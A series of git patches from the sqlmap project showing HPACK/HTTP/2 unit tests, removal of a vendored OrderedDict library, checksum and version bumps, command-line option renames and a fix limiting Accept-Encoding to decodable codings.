self.assertEqual(pos, len(encoded)) + + def test_first_byte_bits_preserved(self): + # a caller-supplied opcode in the high bits must survive a small value + self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5) + + +class TestHuffman(unittest.TestCase): + def test_known_vector_www_example_com(self): + # RFC 7541 C.4.1 + self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff") + + def test_empty(self): + self.assertEqual(huffman_encode(b""), b"") + self.assertEqual(huffman_decode(b""), b"") + + def test_roundtrip(self): + for sample in (b"a", b"hello world", b"/index.html?a=1&b=2", + b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + bytes(bytearray(range(256)))): + self.assertEqual(huffman_decode(huffman_encode(sample)), sample) + + def test_shrinks_typical_text(self): + sample = b"www.example.com" + self.assertLess(len(huffman_encode(sample)), len(sample)) + + def test_padding_too_long_rejected(self): + # 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding + with self.assertRaises(ValueError): + huffman_decode(_b(0xFE)) + + +class TestStringCoding(unittest.TestCase): + def test_huffman_branch_roundtrip(self): + encoded = encode_string(b"custom-value") + self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text + self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded))) + + def test_literal_branch_when_huffman_would_not_shrink(self): + encoded = encode_string(_b(0xFF)) + self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string + self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded))) + + def test_disable_huffman(self): + encoded = encode_string(b"abc", huffman=False) + self.assertFalse(bytearray(encoded)[0] & 0x80) + self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded))) + + +class TestHpackDecoder(unittest.TestCase): + def test_indexed_static_entries(self): + # 0x82/0x86/0x84 -> static indices 2, 6, 4 + self.assertEqual( + Decoder().decode(_b(0x82, 0x86, 0x84)), + [(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")], + ) + + def test_static_lookup_bounds(self): + d = Decoder() + self.assertEqual(d._get(1), (b":authority", b"")) + self.assertEqual(d._get(2), (b":method", b"GET")) + self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1]) + + def test_index_zero_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(0) + + def test_index_out_of_range_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet + + def test_literal_incremental_indexing_populates_dynamic_table(self): + # 0x40 = literal with incremental indexing, new name + block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")]) + # entry is now addressable at the first dynamic index (STATIC_LEN + 1) + self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value")) + self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value")) + + def test_literal_without_indexing_does_not_touch_dynamic_table(self): + block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")]) + self.assertEqual(d.dynamic, []) + + def test_dynamic_table_eviction(self): + d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36 + d._add(b"aa", b"bb") + self.assertEqual(len(d.dynamic), 1) + d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted + self.assertEqual(d.dynamic, [(b"cc", b"dd")]) + self.assertEqual(d._size, 36) + + def test_dynamic_size_update_clears(self): + d = Decoder() + d._add(b"x", b"y") + d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0 + self.assertEqual(d.max_size, 0) + self.assertEqual(d.dynamic, []) + + +class TestHpackEncoderRoundTrip(unittest.TestCase): + def test_roundtrip_through_decoder(self): + headers = [ + (b":method", b"GET"), + (b":scheme", b"https"), + (b":path", b"/a/b?c=d"), + (b":authority", b"example.com"), + (b"user-agent", b"sqlmap"), + (b"accept", b""), # empty value + (b"x-custom", b"\x00\x01\xff"), # non-ASCII value + ] + self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers) + + def test_encoder_output_is_bytes(self): + self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes) + + +class TestH2Response(unittest.TestCase): + def _make(self, status=200, headers=None, body=b"body"): + headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")] + return H2Response("https://target/x", status, headers, body) + + def test_basic_fields(self): + r = self._make() + self.assertEqual(r.code, 200) + self.assertEqual(r.status, 200) + self.assertEqual(r.msg, "OK") + self.assertEqual(r.http_version, "HTTP/2.0") + self.assertEqual(r.geturl(), "https://target/x") + + def test_unknown_status_message(self): + self.assertEqual(self._make(status=799).msg, "") + + def test_pseudo_headers_stripped(self): + r = self._make() + self.assertNotIn(":status", r.info()) + self.assertEqual(r.info().get("content-type"), "text/html") + + def test_read_full_then_empty(self): + r = self._make(body=b"hello") + self.assertEqual(r.read(), b"hello") + self.assertEqual(r.read(), b"") # offset exhausted + + def test_read_in_chunks(self): + r = self._make(body=b"abcdef") + self.assertEqual(r.read(2), b"ab") + self.assertEqual(r.read(3), b"cde") + self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder + self.assertEqual(r.read(10), b"") + + def test_str_header_names_accepted(self): + # headers may arrive already decoded to str (not only bytes) + r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}") + self.assertEqual(r.info().get("content-type"), "application/json") + + def test_mimetools_style_headers_list(self): + # patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present + r = self._make() + self.assertTrue(hasattr(r.info(), "headers")) + self.assertIn("content-type: text/html\r\n", r.info().headers) + + def test_close_is_noop(self): + self.assertIsNone(self._make().close()) + + +class TestConstants(unittest.TestCase): + def test_redirect_codes(self): + for code in (301, 302, 303, 307, 308): + self.assertIn(code, REDIRECT_CODES) + self.assertNotIn(200, REDIRECT_CODES) + + def test_static_table_length(self): + self.assertEqual(STATIC_LEN, len(STATIC_TABLE)) + self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 40a31c155cefd5aeab9300c0748edd43379e75c9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 15:26:59 +0200 Subject: [PATCH 663/853] Removing thirdparty OrderedDict --- data/txt/sha256sums.txt | 20 +++-- doc/THIRD-PARTY.md | 2 - lib/core/common.py | 2 +- lib/core/datatype.py | 2 +- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/basic.py | 2 +- lib/request/connect.py | 2 +- lib/techniques/union/use.py | 2 +- thirdparty/odict/__init__.py | 8 -- thirdparty/odict/ordereddict.py | 133 -------------------------------- 12 files changed, 17 insertions(+), 162 deletions(-) delete mode 100644 thirdparty/odict/__init__.py delete mode 100644 thirdparty/odict/ordereddict.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 751527657d8..39bc951efc8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -89,7 +89,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md -b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86 doc/THIRD-PARTY.md +8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md 2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -168,15 +168,15 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -751c3bf178e91e60b25e3b01ce7636029804dd78f64e9ee0418bdb126889a7bc lib/core/common.py +f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py +771ef50ebfa72a1019f819071dcfcd249ea6bb533051e9388c14917823e1f4f3 lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py -10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544 lib/core/dump.py +b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py 6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,10 +189,10 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -39884227376b9370b8ef246d791b98346a7acba146f9ca12a5bf540a252b31ba lib/core/settings.py +929603eb63f80f5547c23357e089a7a59be53140269f20f19748901ced0d1356 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py -19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py +15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py @@ -209,10 +209,10 @@ ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py +a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py +f0c7f1a6cc1abc557723f24785cdc974cc22a492836384f42413a1254d8dc601 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py @@ -251,7 +251,7 @@ bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques 14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py -c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py +c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py @@ -726,8 +726,6 @@ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/mag 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py 2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py -ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py -9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py 4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index f2c10e27255..b20e1630996 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -270,8 +270,6 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2024, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. Copyright (C) 2019-2021, Miroslav Stampar. -* The `ordereddict` library located under `thirdparty/odict/`. - Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. Copyright (C) 2010-2024, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. diff --git a/lib/core/common.py b/lib/core/common.py index ec7db6ff96b..ff205d5600c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -200,7 +200,7 @@ from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import configparser as _configparser diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 11b45878a6f..f667c0cd9e1 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -8,7 +8,7 @@ import copy import threading -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): diff --git a/lib/core/dump.py b/lib/core/dump.py index c81f5251916..8b8feec0bd7 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -62,7 +62,7 @@ from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict class Dump(object): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index b844d947068..8a597a4762f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.5" +VERSION = "1.10.7.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index b6666807fd3..a74955b717c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -79,7 +79,7 @@ from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): diff --git a/lib/request/basic.py b/lib/request/basic.py index 2d72a3242ff..5cddbd98338 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -57,7 +57,7 @@ from thirdparty import six from thirdparty.chardet import detect from thirdparty.identywaf import identYwaf -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client diff --git a/lib/request/connect.py b/lib/request/connect.py index a14309fa80f..b31cfc2db42 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -140,7 +140,7 @@ class WebSocketException(Exception): from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index dc85170962e..e28244c05bc 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -62,7 +62,7 @@ from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py deleted file mode 100644 index 8571776ae42..00000000000 --- a/thirdparty/odict/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -import sys - -if sys.version_info[:2] >= (2, 7): - from collections import OrderedDict -else: - from ordereddict import OrderedDict diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py deleted file mode 100644 index 1cdd6f46edc..00000000000 --- a/thirdparty/odict/ordereddict.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright (c) 2009 Raymond Hettinger -# -# Permission is hereby granted, free of charge, to any person -# obtaining a copy of this software and associated documentation files -# (the "Software"), to deal in the Software without restriction, -# including without limitation the rights to use, copy, modify, merge, -# publish, distribute, sublicense, and/or sell copies of the Software, -# and to permit persons to whom the Software is furnished to do so, -# subject to the following conditions: -# -# The above copyright notice and this permission notice shall be -# included in all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -# OTHER DEALINGS IN THE SOFTWARE. - -try: - from UserDict import DictMixin -except ImportError: - try: - from collections.abc import MutableMapping as DictMixin - except ImportError: - from collections import MutableMapping as DictMixin - -class OrderedDict(dict, DictMixin): - - def __init__(self, *args, **kwds): - if len(args) > 1: - raise TypeError('expected at most 1 arguments, got %d' % len(args)) - try: - self.__end - except AttributeError: - self.clear() - self.update(*args, **kwds) - - def clear(self): - self.__end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.__map = {} # key --> [key, prev, next] - dict.clear(self) - - def __setitem__(self, key, value): - if key not in self: - end = self.__end - curr = end[1] - curr[2] = end[1] = self.__map[key] = [key, curr, end] - dict.__setitem__(self, key, value) - - def __delitem__(self, key): - dict.__delitem__(self, key) - key, prev, next = self.__map.pop(key) - prev[2] = next - next[1] = prev - - def __iter__(self): - end = self.__end - curr = end[2] - while curr is not end: - yield curr[0] - curr = curr[2] - - def __reversed__(self): - end = self.__end - curr = end[1] - while curr is not end: - yield curr[0] - curr = curr[1] - - def popitem(self, last=True): - if not self: - raise KeyError('dictionary is empty') - if last: - key = next(reversed(self)) - else: - key = next(iter(self)) - value = self.pop(key) - return key, value - - def __reduce__(self): - items = [[k, self[k]] for k in self] - tmp = self.__map, self.__end - del self.__map, self.__end - inst_dict = vars(self).copy() - self.__map, self.__end = tmp - if inst_dict: - return (self.__class__, (items,), inst_dict) - return self.__class__, (items,) - - def keys(self): - return list(self) - - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self.items())) - - def copy(self): - return self.__class__(self) - - @classmethod - def fromkeys(cls, iterable, value=None): - d = cls() - for key in iterable: - d[key] = value - return d - - def __eq__(self, other): - if isinstance(other, OrderedDict): - if len(self) != len(other): - return False - for p, q in zip(self.items(), other.items()): - if p != q: - return False - return True - return dict.__eq__(self, other) - - def __ne__(self, other): - return not self == other From 6514597dbb0fc544101c133b7d7a941f3397cb1c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 17:34:31 +0200 Subject: [PATCH 664/853] Minor renaming of options --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++-- lib/request/connect.py | 5 ++++- 4 files changed, 10 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 39bc951efc8..0fe4720d982 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -929603eb63f80f5547c23357e089a7a59be53140269f20f19748901ced0d1356 lib/core/settings.py +47719c926f8975b57b107a698cea7ae2d43b220da38d6b9ad4055b43a560d095 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -d6ba23b8f3d40cb021de1ebe50eabf891f060df77e9643838ff8fd3850b507d0 lib/parse/cmdline.py +2b1ccf7adab06d64784639ba4db9772cc7bd3de30ad52513d4350fbf798082ed lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -f0c7f1a6cc1abc557723f24785cdc974cc22a492836384f42413a1254d8dc601 lib/request/connect.py +4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8a597a4762f..0a021d5f451 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.6" +VERSION = "1.10.7.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b12f05281af..dde875d912f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -153,7 +153,7 @@ def cmdLineParser(argv=None): request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") - request.add_argument("--method", dest="method", + request.add_argument("-X", "--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", @@ -523,7 +523,7 @@ def cmdLineParser(argv=None): enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") - enumeration.add_argument("-X", dest="exclude", + enumeration.add_argument("--exclude", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", diff --git a/lib/request/connect.py b/lib/request/connect.py index b31cfc2db42..ce59eae0cba 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -508,7 +508,10 @@ def getPage(**kwargs): for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): - value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity" + # keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted + # 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body + # we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity". + value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity" del headers[key] if isinstance(value, six.string_types): From bd10f84a9bfdc131d5bf78de27182414bfb04215 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 18:34:03 +0200 Subject: [PATCH 665/853] Minor patch --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 14 ++++++++------ lib/core/settings.py | 2 +- lib/request/keepalive.py | 27 ++++++++++++++++++++++++++- 4 files changed, 38 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0fe4720d982..1c44cdae192 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py 